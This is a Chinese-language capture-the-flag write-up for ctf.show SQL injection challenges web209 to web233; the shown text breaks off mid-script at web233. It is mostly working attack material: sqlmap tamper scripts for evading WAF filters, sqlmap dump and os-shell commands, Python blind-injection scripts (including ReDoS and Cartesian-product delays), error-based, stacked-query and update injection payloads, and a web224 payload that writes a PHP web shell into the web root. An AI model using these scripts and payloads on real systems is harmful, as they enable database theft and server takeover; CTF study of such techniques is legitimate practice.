在/usr/share/sqlmap/tamper/下,复制一个space2comment.py,把名字改成web209.py
修改为:
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
Tested against:
* MySQL 5.0 and 5.5
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**_**/id/**_**/FROM/**_**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retVal
sqlmap -u "http://b3094a3f-9148-4f3b-b179-7d2592876f7f.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://b3094a3f-9148-4f3b-b179-7d2592876f7f.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=web209 \
-D ctfshow_web \
-T ctfshow_flav \
-C ctfshow_flagx \
--dump
web210
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
sqlmap -u "http://a9c0dfa1-f720-4211-b71c-8a25cdd740c4.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://a9c0dfa1-f720-4211-b71c-8a25cdd740c4.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=web210 \
-D ctfshow_web \
-T ctfshow_flavi \
-C ctfshow_flagxx \
--dump
web211
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("别套了别套了")
def tamper(payload, **kwargs):
retVal = payload
retVal = retVal.replace(" ", "/**/")
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
sqlmap -u "http://970af116-d834-40ca-9ed9-822df1dd71a0.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://970af116-d834-40ca-9ed9-822df1dd71a0.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=web211 \
-D ctfshow_web \
-T ctfshow_flavia \
-C ctfshow_flagxxa \
--dump
web212
返回逻辑
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("别套了别套了")
def tamper(payload, **kwargs):
payload = bypass(payload)
retVal = payload
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
def bypass(payload):
retVal = ""
for i in range(len(payload)):
if payload[i]==" ":
retVal += chr(0x9)
else:
retVal += payload[i]
return retVal
sqlmap -u "http://2e7adb07-0116-4ab5-bbae-b6503e91dc9d.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://2e7adb07-0116-4ab5-bbae-b6503e91dc9d.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=web212 \
-D ctfshow_web \
-T ctfshow_flavis \
-C ctfshow_flagxsa \
--dump
web213
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
这题让我们使用--os-shell的方法
原理是into outfile函数将一个可以用来上传的文件写到网站的根目录下。然后一个文件是命令执行,一个是上传文件
在mysql中,由 secure_file_priv 参数来控制导入导出权限
该参数后面为null时,则表示不允许导入导出
如果是一个文件夹,则表示仅能在这个文件夹中导入导出
如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出
sqlmap -u "http://773e85b5-f8be-4c34-829a-33fb74146efd.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://773e85b5-f8be-4c34-829a-33fb74146efd.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=web212 \
--os-shell
web214
基于时间盲注
import requests
import time
url = 'http://9a87ab28-875c-4adf-8e9f-f0c908151984.challenge.ctf.show/api/index.php'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#", # 'debug': 0 # } # 爆列
payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
# 爆值
payload = {
'ip': f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(2),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload ,verify=False).text
end_time = time.time()
sub = end_time - start_time
if sub >= 2:
max = j
else:
min = j
web215
查询语句:用了单引号
小改一下
import requests
import time
url = 'http://9a87ab28-875c-4adf-8e9f-f0c908151984.challenge.ctf.show/api/index.php'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#", # 'debug': 0 # } # 爆列
payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
# 爆值
payload = {
'ip': f"1' or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(2),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload ,verify=False).text
end_time = time.time()
sub = end_time - start_time
if sub >= 2:
max = j
else:
min = j
web216
查询语句
where id = from_base64($id);
import requests
import time
url = 'http://cc3ae571-efb1-4d77-a6e0-a9e162dbc04f.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#", # 'debug': 0 # } # 爆列
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#", # 'debug': 0 # } # 爆值
payload = {
'ip': f"1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1.5))<{j},sleep(1),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload ,verify=False).text
end_time = time.time()
sub = end_time - start_time
if sub >= 1.5:
max = j
else:
min = j
web217
查询语句
where id = ($id);
返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}
难点:过滤了sleep
解决:内置的BENCHMARK()函数
可以测试某些特定操作的执行速度,参数可以是需要执行的次数和表达式,表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。该函数可以很方便地测试某些特定操作的性能
import requests
import time
url = 'http://15c24480-c57f-4746-b4af-4bb11d0f7fc1.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = {
# 'ip': f"'') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},benchmark(3000000,sha(1)),'False')#", # 'debug': 0 # } # 爆列
# payload = {
# 'ip': f"'') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{j},benchmark(3000000,sha(1)),'False')#", # 'debug': 0 # } # 爆值
payload = {
'ip': f"666) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(6000000,sha(1)),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 1.5:
max = j
else:
min = j
web218
查询语句
where id = ($id);
返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
难点:benchmark被ban
总结:
1.sleep
2.benchmark
3.笛卡尔积
4.GET_LOCK() 加锁
5.RLIKE REGEXP正则匹配
import time
import requests
url = 'http://a6933245-7701-4f7c-bdb1-592f1ec2a5a9.challenge.ctf.show/api/index.php'
flag = ''
sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
for i in range(60):
lenth = len(flag)
min,max = 32,128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
break
payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},{sleep_rep},'False')#"
,'debug':0}
try:
r = requests.post(url=url,data=payload,timeout=0.5)
min = j
except:
max = j
time.sleep(0.2)
解释:
利用 正则表达式 ReDoS(正则拒绝服务) 制造延迟:
rpad(1,999999,'a') → 生成一个百万字符的 'a' 字符串
concat(...) → 拼接多个长字符串
rlike '(a.*)+(a.*)+b' → 这个正则在匹配全 'a' 字符串时会指数级回溯,导致 CPU 占满、响应极慢
web219
查询语句
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
用笛卡尔积
import requests
import time
url='http://151589b8-69f0-4ba6-a8df-57000c885af7.challenge.ctf.show/api/index.php'
flag=''
for i in range(60):
lenth = len(flag)
min,max = 32,128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
break
# payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
# payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)" payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.15)
min=j
except:
max=j
time.sleep(0.1)
解释:
(SELECT count(*) FROM information_schema.columns A, information_schema.columns B)
这是一个 笛卡尔积(CROSS JOIN)
查询:information_schema.columns 通常有几千行,A × B 会产生 数百万甚至上亿行 的中间结果,即使只 count(*),数据库也要遍历所有组合 → CPU 飙升,响应慢几秒甚至超时
优点:不依赖 SLEEP()、BENCHMARK() 等易被过滤的函数
绕过 WAF:纯 SELECT 查询,看起来“合法
web220
返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
难点:过滤了ascii和substr
解决:可以用like
继续笛卡尔积:
import requests
import time
url='http://151589b8-69f0-4ba6-a8df-57000c885af7.challenge.ctf.show/api/index.php'
flag=''
for i in range(60):
lenth = len(flag)
min,max = 32,128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
break
# payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
# payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)" payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.15)
min=j
except:
max=j
time.sleep(0.1)
web221
查询语句
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
考点:limit注入
我们需要给 page 和 limit 传参,并且根据提示只需要查到数据库名就行。
解释:
select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开
# limit n 等同于 limit 0,n
limit
SELECT ...
[LIMIT ...] -- 限制结果行数(独立子句)
[PROCEDURE ...] -- 调用存储过程式的处理(独立子句)
[INTO ...] -- 结果输出(如导出文件、赋值变量)
[FOR UPDATE ...] -- 锁机制
其中into语句需要有写入shell的权限才能使用,在本题中并没有权限。
而procerdure可以跟analyse函数,analyse可以有两个参数,这里有两种注入方式:
解释:
PROCEDURE ANALYSE()
这是一个 MySQL 的内置过程,通常用于分析查询结果的列结构,并提出最佳的数据类型建议。
我们执行:
SELECT * FROM users PROCEDURE ANALYSE();
返回的结果类似于这张表:
| Field_name | Min_value | Max_value | Min_length | Max_length | ... | Optimal_fieldtype |
| database.users.id | 1 | 3 | 1 | 1 | ... | TINYINT(1) UNSIGNED |
| database.users.status | active | active | 6 | 6 | ... | ENUM('active') |
| database.users.age | 20 | 22 | 2 | 2 | ... | TINYINT(2) UNSIGNED |
在 SQL 语法中,PROCEDURE 子句允许放在 LIMIT 子句之后。这是在 LIMIT 注入点绕过语法限制的关键 |
||||||
| 执行逻辑:当数据库执行这个过程时,它会解析并执行括号内的参数。 |
extractvalue(xml_frag, xpath_expr) 原本用于从 XML 字符串中提取数据。
第二个参数 xpath_expr 要求是合法的 XPath 格式。如果该参数包含 XPath 语法错误(例如以特殊符号开头),MySQL 就会报错,并且在错误信息中把导致错误的字符串显示出来。
构造:
0x3a:是冒号 : 的十六进制 ASCII 码。
database():查询当前数据库名的函数(假设结果为 ctfshow)。
concat(0x3a, database()):拼接结果为 :ctfshow。
rand():这里作为 XML 片段的占位符,填什么都可以(常填 1 或 rand())。
UPDATEXML() 原本是 MySQL 用来替换 XML 文档中某部分内容的函数。
UPDATEXML(xml_document, xpath_string, new_value)
接收 3个参数(比 extractvalue 多一个):
- xml_document: XML 文档对象(注入时随便填,比如 1 或 rand())。
- xpath_string: 重点在这里。必须是合法的 XPath 格式路径。
- new_value: 用来替换的新内容(注入时随便填,比如 1)。
如果我们给第2个参数(xpath_string)传入一个不符合 XPath 格式的字符串(例如以 ~ 或 : 开头的字符串),MySQL 就会报错。
解决:报错注入
extractvalue报错注入
/api/index.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
updatexml报错注入
/api/index.php?page=1&limit=1 procedure analyse(updatexml(rand(),concat(0x3a,database()),1),1);
web222
查询语句:
//分页查询
$sql = select * from ctfshow_user group by $username;
考点:group 注入
解决:
思路1:布尔盲注
import requests
import time
url='http://f08b8319-4738-4cd5-982d-73d64dfb1de8.challenge.ctf.show/api/index.php?u='
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},username,id)"
#payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},username,id)"
payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},username,id)"
r=requests.get(url=url+payload).text
if len(r)<288:
max=j
else:
min=j
解释:
group by username :会导致结果行数减少(或者报错/内容变短),响应长度较短(< 288)
group by id :会返回所有行,响应长度较长(>= 288)
if(..., username, id):
如果小于 j :执行 group by username
如果不小于 j :执行 group by id
思路2:时间盲注
import requests
import time
url='http://f08b8319-4738-4cd5-982d-73d64dfb1de8.challenge.ctf.show/api/index.php?u='
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#payload=f"1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
#payload=f"1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.02),1)"
payload=f"1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.02),1)"
try:
r=requests.get(url=url+payload,timeout=0.4)
min=j
except:
max=j
time.sleep(0.2)
web223
查询语句:
//分页查询
$sql = select * from ctfshow_user group by $username;
返回逻辑
//TODO:很安全,不需要过滤
//用户名不能是数字
考点:group 注入
思路1:
使用ascii(%01)=1这种方式获得数字
import requests
import time
import urllib.parse
url = "http://afa07794-9451-42b7-b2f0-54a2d0f8f395.challenge.ctf.show/api/index.php"
s='abcdeftshow-{}0123456789'
flag=''
for i in range(0,10):
for j in range(0,10):
for k in s:
ii=f'concat(ascii("%0{i}"),ascii("%0{j}"))'
if k not in '0123456789':
#print(k)
u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))='{k}',username,'a')"
else:
u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))=ascii('%0{k}'),username,'a')"
r = requests.get(u)
if "passwordAUTO" in r.text:
flag+=k
print(flag)
break
解释:
1.Python 构造出字符串 concat(ascii("%01"),ascii("%02"))
2.发送给数据库执行时,ascii("%01") 变为 1,ascii("%02") 变为 2
3.concat(1, 2) 变为字符串 '12'
4.在 substr 函数中,'12' 会被隐式转换为整数 12
思路2:
使用前面web185的concat(true+true,true)的方式获得数字
import requests
import time
url = 'http://90b8ab81-6a05-4ebc-ab88-62e8442c0e89.challenge.ctf.show/api/?u='
str = ''
def num2true(num):
str = '(' + 'true%2b' * (num-1) + 'true)'
return str
a = num2true(1)
# print(a)
for i in range(1, 60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num2true(i)},true))<{num2true(j)},username,true)"
# 爆列
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{num2true(i)},true))<{num2true(j)},username,true)"
# 爆值
payload = f"if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{num2true(i)},true))<{num2true(j)},username,true)"
r = requests.get(url=url+payload).text
# print(r)
if 'passwordAUTO' in r:
max = j
else:
min = j
解释:
%2b:这是加号 + 的 URL 编码
在 HTTP URL 传参中,直接写 + 会被视为空格,所以必须写成 %2b,传输到服务端解码后才会变回 +
web224
在robots.txt里发现了修改密码的页面pwdreset.php。访问发现可以直接修改admin的密码,将其修改为123
是一个文件上传
思路:into outfile写shell进去
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/muma.php';--+
C64File是与Commodore 64相关的文件类型,之后闭合,写入 sql 语句,0x3c3f3d60245f4745545b315d603f3e是下述的十六进制编码
<?=`$_GET[1]`?>

?1=nl /flag
解释:
源码:
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}
mysqli_close($con);
}
?>
PHP 执行 $filetype = (new finfo)->file($tmp_name);
finfo通过 Magic Bytes(魔术字节/文件头) 和 指纹特征 来识别的:
PHP 的 finfo 底层直接调用了 Linux 系统著名的 libmagic 库:
读取头几个字节:
如果不认识,就接着往后读。
比对数据库:
如果文件开头是 FF D8 FF -> 它是 JPEG。
如果文件开头是 89 50 4E 47 -> 它是 PNG。
如果文件开头是 <?php -> 它是 PHP Script。
如果文件开头是 #!/bin/bash -> 它是 Shell Script。
如果文件开头是 C64File -> (根据特定规则)它是 Commodore 64 File。
问题就出在 new finfo 没有任何参数。
情况 A:正常的安全写法
$finfo = new finfo(FILEINFO_MIME_TYPE); // 强制只返回 MIME 类型
echo $finfo->file('muma.php');
返回结果:text/x-php 或者 application/octet-stream
结果:非常短,只有类型,没有废话。很难夹带私货
情况 B:题目的不安全写法(默认模式)
$finfo = new finfo(); // 默认返回详细描述
echo $finfo->file('muma.php');
返回结果:PHP script, ASCII text。
致命点:这种模式下,libmagic 会尝试给出尽可能详细的描述。
这就给了 C64File 这种攻击方式机会:
当 libmagic 遇到某些生僻的文件格式(比如 Commodore 64),它的描述规则定义得非常“随意”,规则可能是:"只要以 C64File 开头,就把文件第一行的内容打印出来当作描述。"
于是:底层 libmagic 匹配到 C64 规则。libmagic 按照规则,把后面的字符串也抓取进来,生成描述:C64File " union select...
PHP 拿到了这个长字符串,赋给了 $filetype。这个包含了 SQL 语句的字符串被拼接到 SQL 语句中,造成注入。
此时,$filetype 变量的值变成了:
$filetype = "C64File \"');select 0x3c... into outfile ...;--+";
代码检查:
if(preg_match("/image|png|text|.../i", $filetype)){ ... }
因为 $filetype 的开头是 C64File,且后面跟的是 SQL 语句,整个字符串里没有出现 text、image、php 等关键词。
结果: 成功绕过 die()。
web225
查询语句
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
返回逻辑
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
考点:堆叠注入
分析:写 $username 就可以,但在某些情况下,PHP 可能会把变量名后面的字符误认为是变量名的一部分。使用 {} 可以消除这种歧义
handler 的操作流程像操作文件一样:打开 -> 读取 -> 关闭
第一步:打开表 (OPEN)
handler 表名 open;
handler 表名 open AS 别名; -- 如果表名太长或被过滤,可以用别名
这相当于告诉数据库:“我要开始操作这张表了,给我一个句柄。”
注意:这步操作不会返回任何数据。
第二步:读取数据 (READ)
这是获取数据的关键步骤,有几种方式:
方式 A:傻瓜式读取
不需要知道索引名,直接按物理存储顺序读。
handler 表名 read first; -- 读取第一行数据
handler 表名 read next; -- 读取下一行数据
方式 B:通过索引读取
如果你知道表中有索引(比如 PRIMARY 或其他索引名),可以指定索引来读。
handler 表名 read 索引名 first;
handler 表名 read 索引名 next;
handler 表名 read 索引名 = ('值'); -- 查找特定值
第三步:关闭表 (CLOSE)
handler 表名 CLOSE;
虽然不关闭通常也没事(连接断开会自动关闭),但好习惯是关掉。
解决:handler
查数据库、表:
?username=0';show tables;#
返回:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
查列:
?username=0';show columns from ctfshow_flagasa;#
返回:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Field":"id","Type":"int(11)","Null":"NO","Key":"PRI","Default":null,"Extra":"auto_increment"},{"Field":"flagas","Type":"varchar(255)","Null":"YES","Key":"","Default":null,"Extra":""},{"Field":"info","Type":"varchar(255)","Null":"YES","Key":"","Default":null,"Extra":""}]}
查行:
?username=0';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
web226
查询语句
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
返回逻辑
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
难点:过滤了show、(
解决:用预处理语句、16进制来绕过
select * from ctfsh_ow_flagas
?username=0';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#
解释:
prepare 准备
execute a真正执行
web227
查询语句
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
返回逻辑
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}
难点:需要查看存储过程和函数的状态
通过查询 information_schema.routines 表来查看存储过程和函数的详细信息
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数来调用执行
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用
select * from information_schema.routines
?username=0';prepare a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute a;
web228
查询语句
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
返回逻辑
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}
$bansql是黑名单
select * from ctfsh_ow_flagasaa
?username=';PREPARE a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE a;
web229
select * from flag
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c6167;EXECUTE a;
web230
select * from flagaabbx
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE a;
web231
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
考点:update 注入
解决:
POST:
password=1',username=database()#&username=1

返回:
ctfshow_web
POST:
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1

返回:
banlist,ctfshow_user,flaga
POST:
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1

返回:
id,flagas,info
POST:
password=1',username=(select flagas from flaga) where 1=1#&username=1
web232
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
重新闭合就行
password=1'),username=database()#&username=1
返回:
ctfshow_web
步骤跟之前一样
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa') where 1=1#&username=1
password=1'),username=(select flagass from flagaa) where 1=1#&username=1
web233
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
不知道为啥只能用时间盲注
import requests
import time
url='http://ccdf0750-e352-4196-8cd6-c53e860c7254.challenge.ctf.show/api/'
flag=''
for i in range(60):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#payload=f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)#"
#payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))<{j},sleep(0.02),1)#"
